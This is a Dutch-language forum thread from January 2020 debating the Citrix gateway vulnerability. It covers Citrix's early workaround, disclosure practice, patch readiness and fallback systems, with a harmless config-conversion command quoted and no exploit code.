een doordenkertje, voordat je op de reply button klikt, wat is het doel van een ICT systeem (dat beveiligd moet worden) waar geen enkel mens direct of indirect gebruik van maakt omdat er niemadn in de fysice reele wereld er mee te maken heeft of er mee in aanraking is. zeg maar de boom in het bos, valt die om enzo. misschien kom je tot de conclusie dat zonder gebruikers, ICT geen zin heeft en ook niet beveiligd hoeft te worden en dat het uiteindelijk gaan om die buisness (zoals je zelf zecht) of die gebruikers en DAT zijn de veld experts waarom er ICT is, niet die keyboard tijger in een kantoor tuin ergens die powerpoints pushed.
leuk voorbeeldje van afgelopen tijd:
https://demonitor.kro-ncrv.nl/uitzendingen/ict-in-de-zorg
kijk eens rond de 10 min en 15 min (voor een nood situatie ter illustratie).
Maar dit gedoe gaat zich kennelijk steeds vaker herhalen.
Hieraan debet is kennelijk spaghetti-code, die we al kennen sinds Citix de functionaliteit, die NT4 nog niet bezat,
ging leveren. MS propriety code.
Hierdoor moesten via de zogeheten spaghetti-coders open source door propriety-code hoepeltjes gaan springen.
Dit is een proces dat nu voor problemen zorgt via zero-day incidenten bij systemen.
Aan de ene kant profijtelijk zijnde voor het propriety source verdien-model en het achterliggende meeprofiterende surveillance imperium, maar die snel mitigeren van zulke kwetsbaarheden en inzichtelijkheid (transparantie) verhindert
of dan toch zeker aanzienlijk kan bemoeilijken. Sommige Shitrix-slachtoffers moeten wachten tot 27 januari a.s.
Waarom horen wij daar zo weinig over of wordt dat altijd afgedaan via een bijkans eindeloze flaming-war tussen evangelisten vanuit het ene of het andere kamp (soms ook nog "betaalde trollen".
Een onafhankelijke vriendelijke inhoudelijke discussie over dit soort grote infrastructuur-bedreigingen blijft daarom uit.
Er wordt dus ook steeds weer weinig intinsiek gedaan. De mitigerende "overhaul"blijft uit.
Het is net als bij vliegangst aanjagen binnen de EU als je binnen alle 28 landen nog geen snelle-trein alternatief
hebt liggen. Oude sokken willen weggooien als de nieuwe nog niet zijn gekocht. Domme politiek en policies.
Dit stamt al uit de tijd dat ik NT4 en de kernel kreeg aangeleerd in een MS education center midden tussen de linux-mannetjes in het begin dezer eeuw. Linux beheerders, die een en ander van hun managers moesten gaan uitrollen binnen ziekenhuizen en de transportsector en semi-overheid destijds. Deze problemen bestaan dus zeker al ruim 25 jaar, wat in computertermen een eeuwigheid is. Shitrix terug van nooit weggeweest. "See shitrix and you sh*t bricks" (urban expression)..
Gaan de propriety systemen aan hun eigen onaaangepastheid ten slotte ten onder of storten ze in onder bovenmatige druk van voortgezette cybercrime en een rondom ons allen woedende cyberwar? De Chinees, die ons interessante tijden om in te leven toewenste, kreeg wederom gelijk. We leven hier al volop in.
Koffiedikkijkers, wellicht?
luntrus
Hieraan debet is kennelijk spaghetti-code, die we al kennen sinds Citix de functionaliteit, die NT4 nog niet bezat,
ging leveren. MS propriety code.
Hierdoor moesten via de zogeheten spaghetti-coders open source door propriety-code hoepeltjes gaan springen.
Dit is een proces dat nu voor problemen zorgt via zero-day incidenten bij systemen.
Aan de ene kant profijtelijk zijnde voor het propriety source verdien-model en het achterliggende meeprofiterende surveillance imperium, maar die snel mitigeren van zulke kwetsbaarheden en inzichtelijkheid (transparantie) verhindert
of dan toch zeker aanzienlijk kan bemoeilijken. Sommige Shitrix-slachtoffers moeten wachten tot 27 januari a.s.
Waarom horen wij daar zo weinig over of wordt dat altijd afgedaan via een bijkans eindeloze flaming-war tussen evangelisten vanuit het ene of het andere kamp (soms ook nog "betaalde trollen".
Een onafhankelijke vriendelijke inhoudelijke discussie over dit soort grote infrastructuur-bedreigingen blijft daarom uit.
Er wordt dus ook steeds weer weinig intinsiek gedaan. De mitigerende "overhaul"blijft uit.
Het is net als bij vliegangst aanjagen binnen de EU als je binnen alle 28 landen nog geen snelle-trein alternatief
hebt liggen. Oude sokken willen weggooien als de nieuwe nog niet zijn gekocht. Domme politiek en policies.
Dit stamt al uit de tijd dat ik NT4 en de kernel kreeg aangeleerd in een MS education center midden tussen de linux-mannetjes in het begin dezer eeuw. Linux beheerders, die een en ander van hun managers moesten gaan uitrollen binnen ziekenhuizen en de transportsector en semi-overheid destijds. Deze problemen bestaan dus zeker al ruim 25 jaar, wat in computertermen een eeuwigheid is. Shitrix terug van nooit weggeweest. "See shitrix and you sh*t bricks" (urban expression)..
Gaan de propriety systemen aan hun eigen onaaangepastheid ten slotte ten onder of storten ze in onder bovenmatige druk van voortgezette cybercrime en een rondom ons allen woedende cyberwar? De Chinees, die ons interessante tijden om in te leven toewenste, kreeg wederom gelijk. We leven hier al volop in.
Koffiedikkijkers, wellicht?
luntrus
19-01-2020, 14:21 door
Erik van Straten
@Anoniemen vandaag 12:45 en 12:59: welke oplossingen voor de huidige problemen met Citrix gateways kunnen lezers uit jullie bijdragen halen? Of heeft de moderator weer posts doorgelaten die helemaal geen bijdragen zijn?
Door Anoniem:
Door Anoniem: efin theorie != praktijk en de noodsituatie is altijd in de praktijk en nooit in de theorie
Door Anoniem: joh ik hoop dat je nooit een ongeluk gaat hebben en dat er in de ambulance iemand een skype meeting met zijn manager gaat plannen via sharepoint outlook powerprut voordat die persoon een helpende hadn naar je uit steekt. misschien dat je dan het verschil tussen theorie en praktijk ervaart.
Misschien moet je eens wat theoretische kennis opdoen over wat dat begrip "theorie" eigenlijk inhoudt. Theorie staat niet tegenover praktijk, theorie beschrijft wat we begrijpen van de praktijk en helpt ons de praktijk te verbeteren. Een goede theorie, ook als die over noodsituaties gaat, staat de praktijk niet in de weg maar verbetert hem juist.gniffel, je weet niet eens tegen wie je dit zegt... QED.
Door Erik van Straten: @Anoniemen vandaag 12:45 en 12:59: welke oplossingen voor de huidige problemen met Citrix gateways kunnen lezers uit jullie bijdragen halen? Of heeft de moderator weer posts doorgelaten die helemaal geen bijdragen zijn?
nog altijd oneindig veel meer dan uit de opmerking "Als de tegenargumenten zich tot dit niveau beperken, heb ik kennelijk een goed punt ;-)" die je dan sneert op een reactie op je post van 20:53 waar de huidige citrix gateway ontwikkelaars/beheerders/gebruikers ook niets mee kunnen omdat je een theoretisch verhaal staat te verkondingen op een startpunt gefundeerd waar (en dat gaf mijn post als reactie daarop duidelijk weer) een verkeerde aanname in verwoven zat.
schuif je eigen onbegrip (of inzicht in de je eigen foutieve gedachten die je niet toe wilt geven) niet door alsof er een moderator zijn werk niet goed doet a.u.b.
zij de de eerste post werpen....
aan iedereen hierboven en met name aan Erik van Straten:
https://nos.nl/nieuwsuur/artikel/2319236-citrix-we-volgden-na-lek-standaardprocedure-gebeurt-duizenden-keren-per-jaar.html
Kijk procedures zijn gevolgd, het ontwerp was gehanteerd en toch een chaos over wat ik persoonlijk eigenijk nog steeds een storm in een glas water vind (een weekje geen citrix/thuis werken) in het grotere geheel van de mensheid en de rest van de ICT wereld. Get over it, neem de 'hit' en of pas je ICT architectuur NU aan nadat je dit incidentje mee gemaakt hebt. Move on with life please, want waar alleen maar aapjes gillen.... krijgen aapjes op de billen :)... er zal soonish nog wel weer zo een grapje gebeuren want die huidige digidrang in de maatschappij heeft een schaduw kant die onderbelicht blijft en niet in de kosten-baten-risico-analyses mee is genomen.
https://nos.nl/nieuwsuur/artikel/2319236-citrix-we-volgden-na-lek-standaardprocedure-gebeurt-duizenden-keren-per-jaar.html
Kijk procedures zijn gevolgd, het ontwerp was gehanteerd en toch een chaos over wat ik persoonlijk eigenijk nog steeds een storm in een glas water vind (een weekje geen citrix/thuis werken) in het grotere geheel van de mensheid en de rest van de ICT wereld. Get over it, neem de 'hit' en of pas je ICT architectuur NU aan nadat je dit incidentje mee gemaakt hebt. Move on with life please, want waar alleen maar aapjes gillen.... krijgen aapjes op de billen :)... er zal soonish nog wel weer zo een grapje gebeuren want die huidige digidrang in de maatschappij heeft een schaduw kant die onderbelicht blijft en niet in de kosten-baten-risico-analyses mee is genomen.
@Erik van Straten e.a.
Hoe kunnen we nu zeggen wat de oplossing van Citrix zal worden en hoe ze die zullen gaan inrichten?
Randomization misschien?
Ik weet het niet, ken ook het propriety deel van de gelicentieerde open source code van Citrix niet.
Zijn hiermee al pogingen ondernomen - de nspepi converteringstool?
http://intelligentsystemsmonitoring.com/knowledgebase/citrix/using-the-nspepi-tool-to-convert-classic-expressions-to-advanced-expressions/ a la (random voorbeeld)
Om de configuratie veiligheid te verhogen zal men via de geavanceerde syntax toch manueel expressies moeten ingeven.
luntrus
Hoe kunnen we nu zeggen wat de oplossing van Citrix zal worden en hoe ze die zullen gaan inrichten?
Randomization misschien?
Ik weet het niet, ken ook het propriety deel van de gelicentieerde open source code van Citrix niet.
Zijn hiermee al pogingen ondernomen - de nspepi converteringstool?
http://intelligentsystemsmonitoring.com/knowledgebase/citrix/using-the-nspepi-tool-to-convert-classic-expressions-to-advanced-expressions/ a la (random voorbeeld)
root@NS-150# nspepi -f /nsconfig/ns.confOUTPUT: New configuration file created: /nsconfig/new_ns.confOUTPUT: New warning file created: /nsconfig/warn_ns.confWARNINGS: Total number of warnings due to bind commands: 2WARNINGS: Line numbers which has bind command issues: 237, 290root@NS-150#
Om de configuratie veiligheid te verhogen zal men via de geavanceerde syntax toch manueel expressies moeten ingeven.
luntrus
19-01-2020, 19:48 door
Erik van Straten
Door Anoniem: aan iedereen hierboven en met name aan Erik van Straten:
https://nos.nl/nieuwsuur/artikel/2319236-citrix-we-volgden-na-lek-standaardprocedure-gebeurt-duizenden-keren-per-jaar.html
Kijk procedures zijn gevolgd, het ontwerp was gehanteerd en toch een chaos [...]
Ik ben het eens met wat Anoniem gistermiddag schreef in https://www.security.nl/posting/639853/Overheid+en+zorg+dringend+aangeraden+Citrix-servers+uit+te+schakelen#posting640017 en wat Ronald Prins gisteren zei in nieuwsuur: Citrix heeft niet de gangbare procedures gevolgd door op 17 december een workaround te publiceren - die, zoals later bleek, niet op alle versies werkte. Want dat heeft ertoe geleid dat onderzoekers van allerlei pluimage aanknopingspunten hadden om de kwetsbaarheid zelf te vinden. Daardoor is er een exploit gepubliceerd voordat de patch er was. Dit had niet gehoeven.https://nos.nl/nieuwsuur/artikel/2319236-citrix-we-volgden-na-lek-standaardprocedure-gebeurt-duizenden-keren-per-jaar.html
Kijk procedures zijn gevolgd, het ontwerp was gehanteerd en toch een chaos [...]
Aan de andere kant hebben we bij o.a. Pulse Secure gezien dat de patchbereidheid veel te laag is, dus ook al had Citrix op 17 december al wel een patch uitgebracht, dan hadden waarschijnlijk net zo weinig partijen deze patch geïmplementeerd als het aantal dat voor 1 januari de workaround heeft toegepast; vooral zwartepieten dus.
Last but not least: Zero-day exploits, waarbij de leverancier geheel geen kans krijgt om iets te doen, komen ook voor. Vandaar mijn bovenste bijdrage. Indien het noodgedwongen moeten uitschakelen van bepaalde funnctionaliteit een uitwijksysteem rechtvaardigt, dan had je dat allang moeten hebben. Zo niet, dan ben ik het eens met de schrijver van de post waarop ik reageer: deal with it.
19-01-2020, 22:49 door
Erik van Straten
De eerste Citrix gateway patches zouden beschikbaar zijn, en voor de rest iets eerder dan gepland, zie https://www.bleepingcomputer.com/news/security/citrix-patches-cve-2019-19781-flaw-in-citrix-adc-111-and-120/
20-01-2020, 08:54 door
karma4
Door Anoniem: @Erik van Straten e.a.
Hoe kunnen we nu zeggen wat de oplossing van Citrix zal worden en hoe ze die zullen gaan inrichten?
Randomization misschien?
Ik weet het niet, ken ook het propriety deel van de gelicentieerde open source code van Citrix niet.
Zijn hiermee al pogingen ondernomen - de nspepi converteringstool?
http://intelligentsystemsmonitoring.com/knowledgebase/citrix/using-the-nspepi-tool-to-convert-classic-expressions-to-advanced-expressions/ a la (random voorbeeld)
Om de configuratie veiligheid te verhogen zal men via de geavanceerde syntax toch manueel expressies moeten ingeven.
luntrus
Je ziet iets van waar Citrix netscaler op draait. Dat is BSD. Volgens mij is BSD open en zeer veilig, zo wordt het altijd verkocht om niets meer aan informatieveiligheid te doen. Sorry, stokpaardje dat de hele keten op orde moet zijn.Hoe kunnen we nu zeggen wat de oplossing van Citrix zal worden en hoe ze die zullen gaan inrichten?
Randomization misschien?
Ik weet het niet, ken ook het propriety deel van de gelicentieerde open source code van Citrix niet.
Zijn hiermee al pogingen ondernomen - de nspepi converteringstool?
http://intelligentsystemsmonitoring.com/knowledgebase/citrix/using-the-nspepi-tool-to-convert-classic-expressions-to-advanced-expressions/ a la (random voorbeeld)
root@NS-150# nspepi -f /nsconfig/ns.confOUTPUT: New configuration file created: /nsconfig/new_ns.confOUTPUT: New warning file created: /nsconfig/warn_ns.confWARNINGS: Total number of warnings due to bind commands: 2WARNINGS: Line numbers which has bind command issues: 237, 290root@NS-150#
Om de configuratie veiligheid te verhogen zal men via de geavanceerde syntax toch manueel expressies moeten ingeven.
luntrus
Door Anoniem: Zijn hiermee al pogingen ondernomen - de nspepi converteringstool?
[...]
Om de configuratie veiligheid te verhogen zal men via de geavanceerde syntax toch manueel expressies moeten ingeven.
luntrus
Heb ik iets gemist? Waarom zou een tooltje om oude configuratiesyntax te converteren naar nieuwe iets met deze kwetsbaarheden te maken hebben? De kwetsbaarheden zijn geen configuratiefouten maar fouten in de software zelf.[...]
Om de configuratie veiligheid te verhogen zal men via de geavanceerde syntax toch manueel expressies moeten ingeven.
luntrus
Door Erik van Straten:
Aan de andere kant hebben we bij o.a. Pulse Secure gezien dat de patchbereidheid veel te laag is, dus ook al had Citrix op 17 december al wel een patch uitgebracht, dan hadden waarschijnlijk net zo weinig partijen deze patch geïmplementeerd als het aantal dat voor 1 januari de workaround heeft toegepast; vooral zwartepieten dus.
Last but not least: Zero-day exploits, waarbij de leverancier geheel geen kans krijgt om iets te doen, komen ook voor. Vandaar mijn bovenste bijdrage. Indien het noodgedwongen moeten uitschakelen van bepaalde funnctionaliteit een uitwijksysteem rechtvaardigt, dan had je dat allang moeten hebben. Zo niet, dan ben ik het eens met de schrijver van de post waarop ik reageer: deal with it.
Door Anoniem: aan iedereen hierboven en met name aan Erik van Straten:
https://nos.nl/nieuwsuur/artikel/2319236-citrix-we-volgden-na-lek-standaardprocedure-gebeurt-duizenden-keren-per-jaar.html
Kijk procedures zijn gevolgd, het ontwerp was gehanteerd en toch een chaos [...]
Ik ben het eens met wat Anoniem gistermiddag schreef in https://www.security.nl/posting/639853/Overheid+en+zorg+dringend+aangeraden+Citrix-servers+uit+te+schakelen#posting640017 en wat Ronald Prins gisteren zei in nieuwsuur: Citrix heeft niet de gangbare procedures gevolgd door op 17 december een workaround te publiceren - die, zoals later bleek, niet op alle versies werkte. Want dat heeft ertoe geleid dat onderzoekers van allerlei pluimage aanknopingspunten hadden om de kwetsbaarheid zelf te vinden. Daardoor is er een exploit gepubliceerd voordat de patch er was. Dit had niet gehoeven.https://nos.nl/nieuwsuur/artikel/2319236-citrix-we-volgden-na-lek-standaardprocedure-gebeurt-duizenden-keren-per-jaar.html
Kijk procedures zijn gevolgd, het ontwerp was gehanteerd en toch een chaos [...]
Aan de andere kant hebben we bij o.a. Pulse Secure gezien dat de patchbereidheid veel te laag is, dus ook al had Citrix op 17 december al wel een patch uitgebracht, dan hadden waarschijnlijk net zo weinig partijen deze patch geïmplementeerd als het aantal dat voor 1 januari de workaround heeft toegepast; vooral zwartepieten dus.
Last but not least: Zero-day exploits, waarbij de leverancier geheel geen kans krijgt om iets te doen, komen ook voor. Vandaar mijn bovenste bijdrage. Indien het noodgedwongen moeten uitschakelen van bepaalde funnctionaliteit een uitwijksysteem rechtvaardigt, dan had je dat allang moeten hebben. Zo niet, dan ben ik het eens met de schrijver van de post waarop ik reageer: deal with it.
en toch waren het de std procedures voor citrix... je kunt ze nix vinden enzo, maar citrix gaat over zijn procedures en heeft die gevolgd. mijn punt is eigenlijk dat het volgen van procedures (zonder er altijd je koppie bij te houden / afwegen / risico analyses doen) net zo veel oplevert als geen procedures te volgen.
20-01-2020, 11:58 door
Erik van Straten
Door Anoniem: en toch waren het de std procedures voor citrix... je kunt ze nix vinden enzo, maar citrix gaat over zijn procedures en heeft die gevolgd. mijn punt is eigenlijk dat het volgen van procedures (zonder er altijd je koppie bij te houden / afwegen / risico analyses doen) net zo veel oplevert als geen procedures te volgen.
In die uitzending claimde Jeroen van Rotterdam, lid van de raad van bestuur van Citrix, dat Citrix "industry best practices" zou hebben gevolgd.Dus één van de twee statements van Citrix is onjuist. Want industry best practice is coördinated disclosure zodra er een goed geteste patch kan worden uitgeleverd - voor alle kwetsbare, nog ondersteunde, producten.
En dat is niet hetzelfde als een kennelijk overhaast, niet effectief op alle ondersteunde producten, uitgebrachte workaround - die de zaken alleen maar heeft verergerd voor Citrix (doordat derden exploits konden ontwikkelen). Verergerd omdat daarmee het vertrouwen van managers (die zelf niet kunnen beoordelen of een workaround effectief is) is beschaamd door Citrix.
Voor beheerders die ervan overtuigd zijn (of dat altijd terecht is, weet je als manager ook niet) dat de workaround op hun systeem wel werkt, is dat dan helaas een gepasseerd station.
En omdat dit product nu onder een vergrootglas ligt, zou het mij verbazen als er binnenkort geen nieuwe, al dan niet vergelijkbare, kwetsbaarheden in worden gevonden. Overweeg dus een schaduwsysteem, anders hebben we binnenkort dezelfde poppenkast opnieuw.
Door Erik van Straten:
Dus één van de twee statements van Citrix is onjuist. Want industry best practice is coördinated disclosure zodra er een goed geteste patch kan worden uitgeleverd - voor alle kwetsbare, nog ondersteunde, producten.
En dat is niet hetzelfde als een kennelijk overhaast, niet effectief op alle ondersteunde producten, uitgebrachte workaround - die de zaken alleen maar heeft verergerd voor Citrix (doordat derden exploits konden ontwikkelen). Verergerd omdat daarmee het vertrouwen van managers (die zelf niet kunnen beoordelen of een workaround effectief is) is beschaamd door Citrix.
Voor beheerders die ervan overtuigd zijn (of dat altijd terecht is, weet je als manager ook niet) dat de workaround op hun systeem wel werkt, is dat dan helaas een gepasseerd station.
En omdat dit product nu onder een vergrootglas ligt, zou het mij verbazen als er binnenkort geen nieuwe, al dan niet vergelijkbare, kwetsbaarheden in worden gevonden. Overweeg dus een schaduwsysteem, anders hebben we binnenkort dezelfde poppenkast opnieuw.
Door Anoniem: en toch waren het de std procedures voor citrix... je kunt ze nix vinden enzo, maar citrix gaat over zijn procedures en heeft die gevolgd. mijn punt is eigenlijk dat het volgen van procedures (zonder er altijd je koppie bij te houden / afwegen / risico analyses doen) net zo veel oplevert als geen procedures te volgen.
In die uitzending claimde Jeroen van Rotterdam, lid van de raad van bestuur van Citrix, dat Citrix "industry best practices" zou hebben gevolgd.Dus één van de twee statements van Citrix is onjuist. Want industry best practice is coördinated disclosure zodra er een goed geteste patch kan worden uitgeleverd - voor alle kwetsbare, nog ondersteunde, producten.
En dat is niet hetzelfde als een kennelijk overhaast, niet effectief op alle ondersteunde producten, uitgebrachte workaround - die de zaken alleen maar heeft verergerd voor Citrix (doordat derden exploits konden ontwikkelen). Verergerd omdat daarmee het vertrouwen van managers (die zelf niet kunnen beoordelen of een workaround effectief is) is beschaamd door Citrix.
Voor beheerders die ervan overtuigd zijn (of dat altijd terecht is, weet je als manager ook niet) dat de workaround op hun systeem wel werkt, is dat dan helaas een gepasseerd station.
En omdat dit product nu onder een vergrootglas ligt, zou het mij verbazen als er binnenkort geen nieuwe, al dan niet vergelijkbare, kwetsbaarheden in worden gevonden. Overweeg dus een schaduwsysteem, anders hebben we binnenkort dezelfde poppenkast opnieuw.
er wordt wel vaker bij een CVE meteen een mitigatie suggestie gedaan met daarbij de opmerking dat die misschien niet altijd werkt. citrix had ook geen mitigatie melding hoeven te doen. als je het niet met citrix eens bent, daag ze maar voor de rechter of accepteer het maar gewoon, want je kunt er verder van alles van vinden, maar geene ene R*T aan doen vanaf je toetsebord. lekker he die commercie en marktwerkingen :).
Reageren
Deze posting is gelocked. Reageren is niet meer mogelijk.
Netwerk Security Engineer
Luchtverkeersleiding Nederland
Als Netwerk Security Engineer ontwerp en optimaliseer je onze technische netwerk- en beveiligingsinfrastructuur. Je stuurt tech-nische veranderingen aan op basis van de gestelde architectuur kaders en helpt mee met de uitvoering ervan. Ben jij een gedreven professional met passie voor netwerk-beveiliging? Dan is deze functie als Netwerk Security Engineer bij Luchtverkeersleiding Nederland (LVNL) iets voor jou!
Lead Network Security Engineer
Luchtverkeersleiding Nederland
Word Lead Network Security Engineer bij LVNL. Ontwerp en implementeer security-oplossingen die de luchtverkeersleidings-systemen veilig houden. Solliciteer nu en draag bij aan onze cyberweerbaarheid! Als Lead Network Security Engineer bij LVNL ben je verantwoordelijk voor het ontwerpen, implementeren en optimaliseren van de netwerkbeveiliging die cruciaal is voor de veilige en efficiënte werking van het luchtverkeersleidingssysteem in Nederland.
Junior DevOps Engineer
Certified Secure is op zoek naar een Junior DevOps Engineer. Deze functie is een stuk interessanter dan de term doet vermoeden! Om jou als potentiële nieuwe collega meteen te laten zien wat we doen hebben we speciaal voor jou een selectie gemaakt van een aantal leuke security challenges. Are you ready for a challenge?